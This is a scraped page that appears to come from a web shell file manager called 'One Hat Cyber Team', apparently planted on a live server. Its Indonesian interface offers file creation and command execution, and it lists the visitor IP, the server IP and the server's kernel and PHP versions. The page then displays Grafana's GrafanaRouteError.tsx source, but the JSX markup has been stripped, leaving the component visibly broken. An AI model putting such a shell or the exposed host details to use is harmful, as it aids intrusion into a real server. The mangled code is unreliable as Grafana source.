⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
core
/
navigation
/
View File Name :
GrafanaRouteError.tsx
import { css } from '@emotion/css'; import React, { ErrorInfo, useEffect } from 'react'; import { useLocation } from 'react-router-dom'; import { GrafanaTheme2, locationUtil, PageLayoutType } from '@grafana/data'; import { Button, ErrorWithStack, useStyles2 } from '@grafana/ui'; import { Page } from '../components/Page/Page'; interface Props { error: Error | null; errorInfo: ErrorInfo | null; } export function GrafanaRouteError({ error, errorInfo }: Props) { const location = useLocation(); const isChunkLoadingError = error?.name === 'ChunkLoadError'; const styles = useStyles2(getStyles); useEffect(() => { // Auto reload page 1 time if we have a chunk load error if (isChunkLoadingError && location.search.indexOf('chunkNotFound') === -1) { window.location.href = locationUtil.getUrlForPartial(location, { chunkNotFound: true }); } }, [location, isChunkLoadingError]); // Would be good to know the page navId here but needs a pretty big refactoring return (
{isChunkLoadingError && (
Unable to find application file
Grafana has likely been updated. Please try reloading the page.
window.location.reload()}> Reload
)} {!isChunkLoadingError && (
)}
); } const getStyles = (theme: GrafanaTheme2) => ({ container: css({ width: '500px', margin: theme.spacing(8, 'auto'), }), });